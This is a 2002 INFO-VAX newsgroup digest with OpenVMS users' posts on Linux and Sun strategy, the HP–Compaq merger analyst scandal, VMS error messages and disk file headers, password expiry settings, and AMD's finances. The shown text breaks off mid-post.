1 INFO-VAX	Thu, 26 Sep 2002	Volume 2002 : Issue 531       Contents: Re: "inview" Article Re: "inview" Article Re: "inview" Article Re: "inview" Article Re: "inview" Article, "Underqualified tipster backed HP merger"...0 Re: "Underqualified tipster backed HP merger"...0 Re: "Underqualified tipster backed HP merger"...0 Re: "Underqualified tipster backed HP merger"...0 Re: "Underqualified tipster backed HP merger"...0 Re: "Underqualified tipster backed HP merger"...0 Re: "Underqualified tipster backed HP merger"... Re: %SYSTEM-F-DEVREQERR  Re: %SYSTEM-F-DEVREQERR 9 Re: %SYSTEM-W-HEADERFULL message,,, but only on one node? 9 Re: %SYSTEM-W-HEADERFULL message,,, but only on one node? 9 Re: %SYSTEM-W-HEADERFULL message,,, but only on one node? 9 Re: %SYSTEM-W-HEADERFULL message,,, but only on one node?   A question about system password$ RE: A question about system password$ Re: A question about system password Re: AMD in trouble Re: AMD in trouble Re: AMD in trouble Re: AMD in trouble Re: AMD in trouble Re: AMD in trouble4 Announcment from NEMONIX thought you might like this8 Re: Announcment from NEMONIX thought you might like this+ Re: BACKUP to saveset on NFS mounted volume ' BACKUP to saveset on NFS mounted volume + Re: BACKUP to saveset on NFS mounted volume ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files ! Re: Changing Strings in EXE files  Re: Convert from ODS-2 to ODS-5  Re: COPY/FTP passive mode  Re: COPY/FTP passive mode  Re: Deleting expired licenses 0 Re: Deleting expired licenses - irrelevant aside Re: Differential SCSI P Re: ETS is only a couple of weeks away - Leper colony - how many of you are atte) Re: How to defrag a shadowed system disk? & Re: How to eject a TK70 tape manually?" How to eject a TK70 tape manually?& Re: How to eject a TK70 tape manually?& Re: How to eject a TK70 tape manually?& Re: How to run a C program on VAX/VMS?J Re: HP ETS: Irrelevant To Enterprise Resellers, says one Grand Fromage....P Re: HP ETS: Irrelevant To Enterprise Resellers, says one Grand Fromage.... FromaP Re: HP ETS: Irrelevant To Enterprise Resellers, says one Grand Fromage.... Froma HP to increase job cuts  Re: HP to increase job cuts  Re: HP to increase job cuts  Re: HP to increase job cuts  Re: HP to increase job cuts  Re: HP to push .NET big time Re: HP to push .NET big time1 Re: I can't get to http://www.openvms.compaq.com/ 1 Re: I can't get to http://www.openvms.compaq.com/ ! Re: License issue with cluster...  Re: Marketing suggestion Re: MySQL for VMS?' Re: New Miss America - Miss Ill-a-Noise  Re: opensource mail # Re: OpenVMS 25th anniversary survey # Re: OpenVMS 25th anniversary survey # Re: OpenVMS 25th anniversary survey # Re: OpenVMS 25th anniversary survey # Re: OpenVMS 25th anniversary survey # Re: OpenVMS 25th anniversary survey $ Port of a recent Ncurses lib for AXPP Press Release  LEGATO Teams with HP To Release An Industry-First For Backup And P Re: Press Release  LEGATO Teams with HP To Release An Industry-First For Backup & Re: QUEUE MANAGER dying during backups& Re: QUEUE MANAGER dying during backups& Selling: DS10L 256MB 60GB Disk USD$699' Re: sys$Pipe and DCL$PATH documentation  Re: TCPIP BIND stuff Re: TCPIP BIND stuff Re: TCPIP BIND stuff Re: TCPIP BIND stuff% The OpenVMS Consultant: Logical Names  TL894 for sale - cheap Re: Tomcat and CSWS (Apache) Re: UCX security advisory  Re: UCX security advisory  Re: UCX security advisory  Re: UCX security advisory  Re: UCX security advisory  Re: Various BIND questions0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these)0 Re: VMS future (oh not not another one of these) Re: VMS performance software Re: VMS, C++ and flush Re: warning during copy ' Re: What is happening to the industry ? ' Re: What is happening to the industry ? ( Re: www.openvms.compaq.com has been HPed( Re: www.openvms.compaq.com has been HPed( Re: www.openvms.compaq.com has been HPed= [mike@akitanet.co.uk: OpenVMS POP server local vulnerability] A Re: [mike@akitanet.co.uk: OpenVMS POP server local vulnerability]   F ----------------------------------------------------------------------  % Date: Wed, 25 Sep 2002 12:42:13 +0100 ' From: Andrew Harrison SUNUK Consultancy  Subject: Re: "inview" Article . Message-ID: <3D91A115.5080900@nospamn.sun.com>   Bob Koehler wrote:\ > In article <amev6b$mio$1@new-usenet.uk.sun.com>, Andrew Harrison SUNUK Consultancy writes: > 4 >>This is directly in line with my previous comments" >>or handn't your worked that out. >  > J >    Your previous comments were anti-Linux.  Now your comments are to theD >    effect only Sun does Linux right.  You been seeing the Colonel? >   6 I have never been anti-Linux, just anti the wrong tool being used for the job.   1 Many corporates are rushing to deploy Linux so as : not to miss the Linux bandwagon (itself a misunderstanding8 about what Linux is) and they are doing so in a way that8 will not deliver the benefits that they hope using Linux
 will provide.   9 Linux has lots of strengths and there are plenty of areas * where deploying Linux makes eminent sense.   Desktop replacement for Windows  Web servers  Caching proxys	 Firewalls 
 Appliances Semi-Custom servers  Small development boxes # Replacement of Windows File servers  etc.  ( But paradoxically many corporates ignore) the areas where Linux is a very competent ) and practical tool in favour of deploying + Linux in areas that arn't in its sweet spot ( or in a way that makes little or no cost) sense. Building your own distribution and * refusing to take Appliances based on Linux0 because they arn't built using your distribution falls into that category.   , Not targetting Linux at their desktops where( they really would save money is another.  * As for Sun-Linux, no I don't claim its the* best Linux, but it is pre-integrated comes* with a bunch of supported software and its+ also free. Many other Linux suppliers would * charge for this we don't and thats a major factor in its favour.    Regards  Andrew Harrison    ------------------------------    Date: 25 Sep 2002 07:53:43 -0600- From: koehler@encompasserve.org (Bob Koehler)  Subject: Re: "inview" Article 3 Message-ID: <uDHUafjXf9dv@eisner.encompasserve.org>   X In article <3D91A115.5080900@nospamn.sun.com>, Andrew Harrison SUNUK Consultancy writes: > 3 > Many corporates are rushing to deploy Linux so as < > not to miss the Linux bandwagon (itself a misunderstanding: > about what Linux is) and they are doing so in a way that: > will not deliver the benefits that they hope using Linux > will provide.  >   +    Just like they rushed to deploy eunichs?    ------------------------------  % Date: Wed, 25 Sep 2002 13:45:00 +0100 ' From: Andrew Harrison SUNUK Consultancy  Subject: Re: "inview" Article . Message-ID: <3D91AFCC.3050009@nospamn.sun.com>   JF Mezei wrote: * > Andrew Harrison SUNUK Consultancy wrote: > * >>Hang on web/apps/DBMS you need all three* >>Linux doesnt' cut it as a DBMS OS so you/ >>need a commercial OS to host the layer in you / >>infrastructure that stores your state (DBMS).  >  > M > Oracle's current mazine has a full page Add (from Oracle) with a big title:  >  > 	"UNVREAKABLE LINUX" > L > Then a graphic showing 4 19" racks and 2 storage arrays all connected on a > single backbone.) > subtitle: 4 computer cluster with Linux  > ' > text: Everyone knows Linux costs less ' > Now it's faster and more reliable too  >  > http://oracle.com/ad  - The value of this depends on if your app will 0 scale to make use of the 4 nodes in the cluster.  0 9i RAC improves things over OPS but your mileage. will still vary. Everyone can find examples of1 apps that will scale linearly, if you class TPC-C / as an app then it falls into this category. But 0 you can also find plenty that won't. I have seen/ a RAC test where the scalability for the second . node was 70% which wans't bad but it then fell off rapidly.   Regards  Andrew Harrison    ------------------------------  % Date: Wed, 25 Sep 2002 14:02:34 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>  Subject: Re: "inview" Article , Message-ID: <3D91FA39.E6809340@videotron.ca>  ( Andrew Harrison SUNUK Consultancy wrote:, > As for Sun-Linux, no I don't claim its the, > best Linux, but it is pre-integrated comes, > with a bunch of supported software and its > also free.    " Andrew, I have a question for you.  J In the Digital days, the powers decided that Alpha based systems could notM compete against Wintel systems because Digital was trying to develop a Wintel H business and didn't want Alphas to reduce slaes of the struggling wintelK business. As a result, Alpha were always priced higher and never succeeded.   C Isn't there a danger that this may happen to Sun as well  ? Doesn't G "abdicating" to Linux mean that Sun will no longer struggle to make its M Solaris systems competitive at the lower end and little by little, its market L "niche" will get pushed into the higher end only until you're down to just a. few market segments , as has happened to VMS ?   ------------------------------  # Date: Wed, 25 Sep 2002 21:18:47 GMT * From: "Bill Todd" <billtodd@metrocast.net> Subject: Re: "inview" Article C Message-ID: <bJpk9.283884$5r1.12047489@bin5.nnrp.aus1.giganews.com>   : "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message& news:3D91FA39.E6809340@videotron.ca...* > Andrew Harrison SUNUK Consultancy wrote:. > > As for Sun-Linux, no I don't claim its the. > > best Linux, but it is pre-integrated comes. > > with a bunch of supported software and its > > also free. >  > $ > Andrew, I have a question for you. > L > In the Digital days, the powers decided that Alpha based systems could notH > compete against Wintel systems because Digital was trying to develop a WintelJ > business and didn't want Alphas to reduce slaes of the struggling wintelB > business. As a result, Alpha were always priced higher and never
 succeeded. > E > Isn't there a danger that this may happen to Sun as well  ? Doesn't I > "abdicating" to Linux mean that Sun will no longer struggle to make its H > Solaris systems competitive at the lower end and little by little, its marketL > "niche" will get pushed into the higher end only until you're down to just a 0 > few market segments , as has happened to VMS ?  L While I'd like to see Andrew's answer, I think that Sun's chief engineer may@ have given one about a month ago in an extensive ZDNet interview  L http://techupdate.zdnet.com/techupdate/stories/main/0,14179,2878365,00.html K ).  His take is that Sun will open-source Solaris code such that Linux will K become a kind of little brother to it (as in a slightly analogous way P3 is J a useful predecessor for P4 to have around, because they address differentJ though overlapping markets):  Solaris will get new features of interest toD the enterprise community earlier than Linux does, and the Sun systemC programming team will give both Solaris and Linux customers faster, K better-backed responses to problems than the open source community at large  will.   D So unlike the situation with VMS and Windows, Solaris and Linux willL leverage each other's compatible characteristics, and SPARC will survive (orE not) as a hardware platform (that's source-code-compatible with other L Linux/Solaris platforms) independently based on the ability of SPARC systemsJ to compete with other hardware platforms (especially in the higher-margin,H lower-volume enterprise spaces where commodity solutions may not cut it:F there's nothing wrong with becoming a niche product if the margins are good).  > It's an interesting vision, and by virtue of its existing UnixK specialization Sun seems better-positioned to make it a reality than anyone G else.  And there's a lot to be said for "sticking to one's knitting" if ! you're good at it (which Sun is).    - bill   ------------------------------  % Date: Wed, 25 Sep 2002 14:24:41 +0200 9 From: Jan-Erik =?iso-8859-1?Q?S=F6derholm?= <aaa@aaa.com> 5 Subject: "Underqualified tipster backed HP merger"... ' Message-ID: <3D91AB09.CAC6A16D@aaa.com>   ( http://www.theinquirer.net/?article=5559   /Jan-Erik Sderholm.   ------------------------------    Date: 25 Sep 2002 07:39:49 -0700% From: Alan Greig <a.greig@virgin.net> 9 Subject: Re: "Underqualified tipster backed HP merger"... ) Message-ID: <amshrl02dko@drn.newsguy.com>   @ In article <1Ojk9.14$8p4.373791@news.cpqcorp.net>, "Fred says... >  > K >Whatever was there (some article on an analyst being sacked from the title < >in the top level of the web site) has no text in the story.   It does for me:    Analyst sacked for lying    ' Underqualified tipster backed HP merger   6 By INQUIRER staff: Wednesday 25 September 2002, 12:06     K ANALYST RAM KUMAR, who produced a key report in favour of HP's take-over of ! Compaq has been sacked for lying. M Kumar, 33, who worked for Wall Street firm Institutional Shareholder Services G had told his bosses he had a law degree from the University of Southern . California. In fact he didn't, the FT reports.  M Kumar produced a report on the benefits of the megamerger at a time when poor P Walter Hewlett was raising a bit of a stink. His favourable report is thought toH have swung the balance in Carly's favour. Maybe she'll give him a job.          >  > C >Jan-Erik Sderholm wrote in message <3D91AB09.CAC6A16D@aaa.com>...  >>* >>http://www.theinquirer.net/?article=5559 >> >>/Jan-Erik Sderholm. >  >    ------------------------------  # Date: Wed, 25 Sep 2002 15:31:46 GMT 5 From: "Fred Kleinsorge" <kleinsorge@star.zko.dec.com> 9 Subject: Re: "Underqualified tipster backed HP merger"... 2 Message-ID: <CFkk9.22$Rr4.432219@news.cpqcorp.net>   Alan Greig wrote in message ... A >In article <1Ojk9.14$8p4.373791@news.cpqcorp.net>, "Fred says...  >> >>L >>Whatever was there (some article on an analyst being sacked from the title= >>in the top level of the web site) has no text in the story.  >  >It does for me: >  >Analyst sacked for lying  > ( >Underqualified tipster backed HP merger > 6 >By INQUIRER staff: Wednesday 25 September 2002, 12:06 >  > L >ANALYST RAM KUMAR, who produced a key report in favour of HP's take-over of" >Compaq has been sacked for lying.E >Kumar, 33, who worked for Wall Street firm Institutional Shareholder  ServicesH >had told his bosses he had a law degree from the University of Southern/ >California. In fact he didn't, the FT reports.  > I >Kumar produced a report on the benefits of the megamerger at a time when  poorF >Walter Hewlett was raising a bit of a stink. His favourable report is
 thought toI >have swung the balance in Carly's favour. Maybe she'll give him a job.   >   H I'm not exactly sure what it means though.  So the guy didn't have a lawH degree.  Sounds like grounds for dismissal if he said he did.  Does thatJ mean his advice was bad?  A successful football coach is fired for paddingD his resume.  Does it mean his wins as a coach should be invalidated?  I Here's a sad fact of life.  Someone pads a resume to get a job, and after K working at the job (with apparent success) for sometime, the lie catches up I with him.  Without the lie, he wouldn't have gotten the job.  But the lie L eventually cost him the job he wouldn't have gotten without it.  In a DisneyL world, Michael J. Fox ends up taking over the company after pretending to beL an executive instead of the mail boy.  In the real world, it don't work thatD way.  But it seldom has a bearing on how well the job was performed.  J Will his firm, and perhaps he himself get sued by an investor?  Probably aK good bet someone will be looking into it.  Does it have a bearing on the HP  merger?  Nope.  Don't think so.    ------------------------------  % Date: Wed, 25 Sep 2002 14:18:09 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca> 9 Subject: Re: "Underqualified tipster backed HP merger"... , Message-ID: <3D91FDDE.FB167401@videotron.ca>   Fred Kleinsorge wrote:J > I'm not exactly sure what it means though.  So the guy didn't have a lawJ > degree.  Sounds like grounds for dismissal if he said he did.  Does thatL > mean his advice was bad?  A successful football coach is fired for paddingF > his resume.  Does it mean his wins as a coach should be invalidated?  E I am affraid to say that I agree with Fred here. (is that a first ?).   I So far, I have seen nothing which says that his decision to recommend the 6 merger was in any way influenced by his padded resume.   ------------------------------  # Date: Wed, 25 Sep 2002 20:47:59 GMT * From: "Bill Todd" <billtodd@metrocast.net>9 Subject: Re: "Underqualified tipster backed HP merger"... C Message-ID: <3ipk9.287313$AR1.12262220@bin2.nnrp.aus1.giganews.com>   @ "Fred Kleinsorge" <kleinsorge@star.zko.dec.com> wrote in message, news:CFkk9.22$Rr4.432219@news.cpqcorp.net...   ...   , > I'm not exactly sure what it means though.    It means the guy's a liar, Fred.     So the guy didn't have a lawJ > degree.  Sounds like grounds for dismissal if he said he did.  Does that > mean his advice was bad?  L Nope.  But by demonstrating his lack of integrity it increases the odds thatI his advice may have been influenced - and C&C were 'influencing' the hell  out of people at that time.   2   A successful football coach is fired for paddingF > his resume.  Does it mean his wins as a coach should be invalidated?  G 'Successful'?  'Wins'?  Do you know anything about this bozo that would 9 cause you to associate these positive qualities with him?   I The merger isn't looking like much of a 'win' yet, except for C&C and the F others who got fat retention bonuses.  Everyone else (other employees,; stockholders, customers) seems to be getting screwed by it.    - bill   ------------------------------  # Date: Wed, 25 Sep 2002 21:51:41 GMT 1 From: "Terry C. Shannon" <terryshannon@attbi.com> 9 Subject: Re: "Underqualified tipster backed HP merger"... ? Message-ID: <Ndqk9.401469$kp.1185791@rwcrnsc52.ops.asp.att.net>   : "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message& news:3D91FDDE.FB167401@videotron.ca... > Fred Kleinsorge wrote:L > > I'm not exactly sure what it means though.  So the guy didn't have a lawL > > degree.  Sounds like grounds for dismissal if he said he did.  Does thatF > > mean his advice was bad?  A successful football coach is fired for padding H > > his resume.  Does it mean his wins as a coach should be invalidated? > G > I am affraid to say that I agree with Fred here. (is that a first ?).  > K > So far, I have seen nothing which says that his decision to recommend the 8 > merger was in any way influenced by his padded resume.  D Agreed. But I have a hunch his future career opportunities have been influenced.    ------------------------------  % Date: Wed, 25 Sep 2002 21:17:56 -0400 ; From: "Brian Tillman" <tillman_brian@notnoone.notnohow.com> 9 Subject: Re: "Underqualified tipster backed HP merger"... $ Message-ID: <3d92608f$1@news.si.com>  H >In a Disney world, Michael J. Fox ends up taking over the company after pretending to be& >an executive instead of the mail boy.  @ Wow!  Has Michael J. Fox replaced Michael Eisner?  Even with his Parkinson's?  That's news! --A Brian Tillman                   Internet: tillman_brian at si.com A Smiths Aerospace                          tillman at swdev.si.com = 3290 Patterson Ave. SE, MS      Addresses modified to prevent < Grand Rapids, MI 49512-1991     SPAM.  Replace "at" with "@"8        This opinion doesn't represent that of my company   ------------------------------   Date: 25 Sep 2002 22:27:17 GMT# From: hoff@hp.nospam (Hoff Hoffman)   Subject: Re: %SYSTEM-F-DEVREQERR* Message-ID: <amtd85$scd$1@web1.cup.hp.com>  i In article <4a62e59.0209250830.490ab011@posting.google.com>, smahler@icbme01.ionics.com (smahler) writes: ? :We have DECnet for OpenVMS VAX V6.1 running on OpenVMS VAX 6.2  : ? :We also have TCP/IP running with DHCP doled out by Windows NT.  : > :We have operated without problems for years but are currentlyE :experiencing problems with our DECNet terminals.  They are reporting < :%SYSTEM-F-DEVREQERR sporaticly.  We also have recently beenD :experiencing problems with our primary WINS server which we believe+ :may be causing additional network traffic.  : F :Can someone shed some light on what the %SYSTEM-F-DEVREQERR means and5 :whether network traffic could be causing this issue?   5   From the HELP/MESSAGE text for the DEVREQERR error:   C     "...The Ethernet cable may have short-circuited, or it may have :     been temporarily overloaded. In either case, check the?     Ethernet cable and, if it is operational, you might want to ?     send packets again. However, it must be noted that if these ;     kinds of errors persist, the Ethernet is overloaded..."     N  ---------------------------- #include <rtfaq.h> -----------------------------J       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.comN  --------------------------- pure personal opinion ---------------------------E         Hoff (Stephen) Hoffman   OpenVMS Engineering   hoff[at]hp.com    ------------------------------  # Date: Thu, 26 Sep 2002 01:55:24 GMT 1 From: "David J. Dachtera" <djesys.nospam@fsi.net>   Subject: Re: %SYSTEM-F-DEVREQERR' Message-ID: <3D926EC7.3667A978@fsi.net>    Hoff Hoffman wrote:  > k > In article <4a62e59.0209250830.490ab011@posting.google.com>, smahler@icbme01.ionics.com (smahler) writes: A > :We have DECnet for OpenVMS VAX V6.1 running on OpenVMS VAX 6.2  > : A > :We also have TCP/IP running with DHCP doled out by Windows NT.  > : @ > :We have operated without problems for years but are currentlyG > :experiencing problems with our DECNet terminals.  They are reporting > > :%SYSTEM-F-DEVREQERR sporaticly.  We also have recently beenF > :experiencing problems with our primary WINS server which we believe- > :may be causing additional network traffic.  > : H > :Can someone shed some light on what the %SYSTEM-F-DEVREQERR means and7 > :whether network traffic could be causing this issue?  > 7 >   From the HELP/MESSAGE text for the DEVREQERR error:  > E >     "...The Ethernet cable may have short-circuited, or it may have < >     been temporarily overloaded. In either case, check theA >     Ethernet cable and, if it is operational, you might want to A >     send packets again. However, it must be noted that if these = >     kinds of errors persist, the Ethernet is overloaded..."   F I took that to mean that normal traffic is saturating the segment, theH local segment is not properly terminated (coax) or is otherwise damaged,. or something on the local segment is babbling.   --   David J. Dachtera  dba DJE Systems  http://www.djesys.com/  ( Unofficial Affordable OpenVMS Home Page: http://www.djesys.com/vms/soho/    ------------------------------    Date: 25 Sep 2002 12:50:37 -07003 From: perisa.bujosevic@orbit.net (Perisa Bujosevic) B Subject: Re: %SYSTEM-W-HEADERFULL message,,, but only on one node?= Message-ID: <f59edf2b.0209251150.45d19ac5@posting.google.com>   Y Nic Clews <sendspamhere@127.0.0.1> wrote in message news:<3D9031DD.F4954FB1@127.0.0.1>...  > G > Bone of contention. 7.2-2 is the release on which current patches are  > built, consider upgrading... >     H First of all, thanks for the answer. Second, we are working on it... :))   >   > Try a SET VOLUME/REBUILD=FORCE > G > You could have a stale File Control Block (disk specific caches) on a H > member in the cluster, the above command may help flush it. However myE > experiences of this are based on VAX at around 6.1 but this is what E > generally appears to cause inconsistencies between cluster members.   F The result of the command SHOV DEVICE/REBUILD_STATUS DSA0: is 'NO' on 8 both nodes. (where, of course, DSA0: is the system disk)  M Anyway, how will (is it?) the recommended command affect the users/processes   on the system?   ------------------------------    Date: 25 Sep 2002 12:50:40 -07003 From: perisa.bujosevic@orbit.net (Perisa Bujosevic) B Subject: Re: %SYSTEM-W-HEADERFULL message,,, but only on one node?< Message-ID: <f59edf2b.0209251150.d82dfc6@posting.google.com>  e "labadie" <labadie_g.tocardsa@decus.fr> wrote in message news:<fSWj9.5$sY2.61501@news.cpqcorp.net>... B > "Perisa Bujosevic" <perisa.bujosevic@orbit.net> wrote in message9 > news:f59edf2b.0209240120.5c16560b@posting.google.com...  > > Hi All,  > > > > > I'm trying to increase size of the dump file on one of the > ) > Anyway you should use DFU, available at < > http://www.openvms.compaq.com/freeware/freeware50/dfu027a/   Thanks Gerard,  5 Actualy, we are already using other utility - Defrag.    Regards, Perisa   ------------------------------    Date: 25 Sep 2002 17:05:50 -0700. From: spamsink2001@yahoo.com (Alan E. Feldman)B Subject: Re: %SYSTEM-W-HEADERFULL message,,, but only on one node?= Message-ID: <b096a4ee.0209251605.66f33175@posting.google.com>   s spamsink2001@yahoo.com (Alan E. Feldman) wrote in message news:<b096a4ee.0209241959.7f7ce720@posting.google.com>... z > perisa.bujosevic@orbit.net (Perisa Bujosevic) wrote in message news:<f59edf2b.0209240120.5c16560b@posting.google.com>... > > Hi All,  > > I > > I'm trying to increase size of the dump file on one of the nodes in a H > > 2-node OpenVMS Cluster (AS4100+ES40, both with 4Gb mem., OVMS 7.2-1,1 > > volume shadowing, almost all recent patches).  > > F > > Running AUTOGEN ended with a "%SYSTEM-W-HEADERFULL, file header isC > > full" error message. Size of the new dumpfile (as calculated by  >  >  > This message means that & > 1.) you have run out of file headersG > 2.) and therefore INDEXF.SYS needs to be extended to provide room for  > moreG > 3.) but it can't be extended because *its* file header is full and it B > is allowed to have only one file header -- extension headers for > INDEXF.SYS are not allowed   I forgot the possible cures!  D The traditional cure for this is to copy the disk to tape and back.   A I believe some defragmenter programs, DEC's I think at least, can D defrag INDEXF.SYS online *if* they are given exclusive access to the disk.       [...]     Disclaimer: JMHO Alan E. Feldman    ------------------------------  % Date: Wed, 25 Sep 2002 22:28:01 -0400 2 From: rdeininger@mindspring.com (Robert Deininger)B Subject: Re: %SYSTEM-W-HEADERFULL message,,, but only on one node?K Message-ID: <rdeininger-2509022228010001@1cust235.tnt2.nashua.nh.da.uu.net>   = In article <b096a4ee.0209251605.66f33175@posting.google.com>, / spamsink2001@yahoo.com (Alan E. Feldman) wrote:      > E >The traditional cure for this is to copy the disk to tape and back.   > B >I believe some defragmenter programs, DEC's I think at least, canE >defrag INDEXF.SYS online *if* they are given exclusive access to the  >disk.  G Yes, DFO can defrag the index file.  IIRC, you have to mount the volume G private to the process.  For a system disk, that means you have to boot  off another drive.   ------------------------------  # Date: Wed, 25 Sep 2002 22:11:45 GMT % From: "Yong Liu" <fdu9774@rogers.com> ) Subject: A question about system password H Message-ID: <Bwqk9.114588$U_.61778@news04.bloor.is.net.cable.rogers.com>   Hi,   E My OpenVMS system password expires every month. Last month, I had run J authorize to modify it so that it does not expires. Somehow, I receive the( password expires again this time around.  L Now my machine is on a internal lab lan not connected to the public network.J And I don't want to change system password too frequently. How do I do it?   Thanks   ------------------------------  % Date: Thu, 26 Sep 2002 13:44:01 +1200 & From: A Bonaveidogo <Asena@fsc.com.fj>- Subject: RE: A question about system password I Message-ID: <BFBEDDF2CFEDD411917400508BF3A6FF0131D5EB@exchsvr.FSC.COM.FJ>   	 go to uaf   2 modi /pass=?????? /nopwdexp /nopwdlifetime system        -----Original Message-----* From: Yong Liu [mailto:fdu9774@rogers.com]+ Sent: Wednesday, September 25, 2002 3:12 PM  To: Info-VAX@Mvb.Saic.Com ) Subject: A question about system password      Hi,   E My OpenVMS system password expires every month. Last month, I had run J authorize to modify it so that it does not expires. Somehow, I receive the( password expires again this time around.  L Now my machine is on a internal lab lan not connected to the public network.J And I don't want to change system password too frequently. How do I do it?   Thanks   ------------------------------  # Date: Thu, 26 Sep 2002 01:58:52 GMT 1 From: "David J. Dachtera" <djesys.nospam@fsi.net> - Subject: Re: A question about system password ' Message-ID: <3D926F97.E23D61A2@fsi.net>    Yong Liu wrote:  >  > Hi,  > G > My OpenVMS system password expires every month. Last month, I had run L > authorize to modify it so that it does not expires. Somehow, I receive the* > password expires again this time around. > N > Now my machine is on a internal lab lan not connected to the public network.L > And I don't want to change system password too frequently. How do I do it?  F Take another look at the qualifiers for the ADD and MODIFY commands in# AUTHORIZE - I think you'll find it.    --   David J. Dachtera  dba DJE Systems  http://www.djesys.com/  ( Unofficial Affordable OpenVMS Home Page: http://www.djesys.com/vms/soho/    ------------------------------  # Date: Wed, 25 Sep 2002 07:31:08 GMT * From: "Bill Todd" <billtodd@metrocast.net> Subject: Re: AMD in trouble C Message-ID: <0Ddk9.271086$5r1.11544593@bin5.nnrp.aus1.giganews.com>   8 "Rob Young" <young_r@encompasserve.org> wrote in message- news:KozDKmf35y9O@eisner.encompasserve.org...  > 9 > All this AMD talk.  Shoot, they will be in very serious 9 > trouble in less than a year no matter how you slice it:   B There are actually rather more ways to slice it than you appear toL recognize.  AMD stock is now so far under book value that it makes it a very attractive buy.   G If you believe Intel's contention that it won't come out with a Yamhill I clone of Hammer, then AMD still has a very desirable technology coming up J that no one else can match:  if AMD has financial problems in the interim,K someone (not Intel, for anti-trust reasons) will bail them out or buy them, L and in either case the technology will still appear and the stock value will soar.   I I'd like to see AMD pull through on its own, but whether it does so won't L really change the effects of Hammer on the industry very much (unless AMD isJ bought by complete bozos - which could happen, since it certainly happenedJ to DEC, though the DEC failures that led up to that point don't seem to beF faults in AMD's management, which would thus be an asset rather than a liability for any buyer).    - bill   ------------------------------    Date: 25 Sep 2002 08:14:20 -0600+ From: young_r@encompasserve.org (Rob Young)  Subject: Re: AMD in trouble 3 Message-ID: <$0OODMny1B4G@eisner.encompasserve.org>   p In article <0Ddk9.271086$5r1.11544593@bin5.nnrp.aus1.giganews.com>, "Bill Todd" <billtodd@metrocast.net> writes: > : > "Rob Young" <young_r@encompasserve.org> wrote in message/ > news:KozDKmf35y9O@eisner.encompasserve.org...  >>: >> All this AMD talk.  Shoot, they will be in very serious: >> trouble in less than a year no matter how you slice it: > D > There are actually rather more ways to slice it than you appear toN > recognize.  AMD stock is now so far under book value that it makes it a very > attractive buy.  >   A 	If they were giving it away, it isn't an attractive buy.  Unless ? 	of course the buyer takes the cash, lays off the employees and " 	sells the FAB to the aftermarket.  ? 	They are burning cash.  They got a billion left.  Enough for a C 	year.  A year in which they will lose money all year all quarters. A 	2.3 billion in long term debt, a point about this time next year 1 	where the balance sheet looks very scary indeed.	   				Rob    ------------------------------  # Date: Wed, 25 Sep 2002 13:56:02 GMT * From: "Bill Todd" <billtodd@metrocast.net> Subject: Re: AMD in troubleuC Message-ID: <Sfjk9.270640$z91.11692150@bin3.nnrp.aus1.giganews.com>k  8 "Rob Young" <young_r@encompasserve.org> wrote in message- news:$0OODMny1B4G@eisner.encompasserve.org...eK > In article <0Ddk9.271086$5r1.11544593@bin5.nnrp.aus1.giganews.com>, "Bille& Todd" <billtodd@metrocast.net> writes: > >l< > > "Rob Young" <young_r@encompasserve.org> wrote in message1 > > news:KozDKmf35y9O@eisner.encompasserve.org...m > >>< > >> All this AMD talk.  Shoot, they will be in very serious< > >> trouble in less than a year no matter how you slice it: > >nF > > There are actually rather more ways to slice it than you appear toK > > recognize.  AMD stock is now so far under book value that it makes it a  very > > attractive buy.  > >o > B > If they were giving it away, it isn't an attractive buy.  Unless@ > of course the buyer takes the cash, lays off the employees and# > sells the FAB to the aftermarket.s >e@ > They are burning cash.  They got a billion left.  Enough for aD > year.  A year in which they will lose money all year all quarters.B > 2.3 billion in long term debt, a point about this time next year2 > where the balance sheet looks very scary indeed.  K Try not to be an idiot, Rob.  If you'd read what I already wrote instead ofeK just snipping it, you'd realize that *if* they indeed get into such troublenG they'll simply be helped or bought by someone with the cash to see themi$ through it and capitalize on Hammer.  H All they need is an angel less stupid than Compaq was with DEC's assets. That's not asking much.Y   - bill   ------------------------------    Date: 25 Sep 2002 10:16:44 -0600+ From: young_r@encompasserve.org (Rob Young)i Subject: Re: AMD in troublee3 Message-ID: <BQs+8dvvej0W@eisner.encompasserve.org>   p In article <Sfjk9.270640$z91.11692150@bin3.nnrp.aus1.giganews.com>, "Bill Todd" <billtodd@metrocast.net> writes: > : > "Rob Young" <young_r@encompasserve.org> wrote in message/ > news:$0OODMny1B4G@eisner.encompasserve.org... L >> In article <0Ddk9.271086$5r1.11544593@bin5.nnrp.aus1.giganews.com>, "Bill( > Todd" <billtodd@metrocast.net> writes: >> >= >> > "Rob Young" <young_r@encompasserve.org> wrote in messageo2 >> > news:KozDKmf35y9O@eisner.encompasserve.org... >> >>e= >> >> All this AMD talk.  Shoot, they will be in very seriousn= >> >> trouble in less than a year no matter how you slice it:a >> >G >> > There are actually rather more ways to slice it than you appear toPL >> > recognize.  AMD stock is now so far under book value that it makes it a > very >> > attractive buy. >> > >>C >> If they were giving it away, it isn't an attractive buy.  UnlessnA >> of course the buyer takes the cash, lays off the employees and $ >> sells the FAB to the aftermarket. >>A >> They are burning cash.  They got a billion left.  Enough for ahE >> year.  A year in which they will lose money all year all quarters. C >> 2.3 billion in long term debt, a point about this time next yearo3 >> where the balance sheet looks very scary indeed.  > M > Try not to be an idiot, Rob.  If you'd read what I already wrote instead ofTM > just snipping it, you'd realize that *if* they indeed get into such troublenI > they'll simply be helped or bought by someone with the cash to see them6& > through it and capitalize on Hammer. >    	"See them through."  @ 	Well that's nice.  With several built in assumptions.  Assuming= 	an OEM would want to depend on AMD 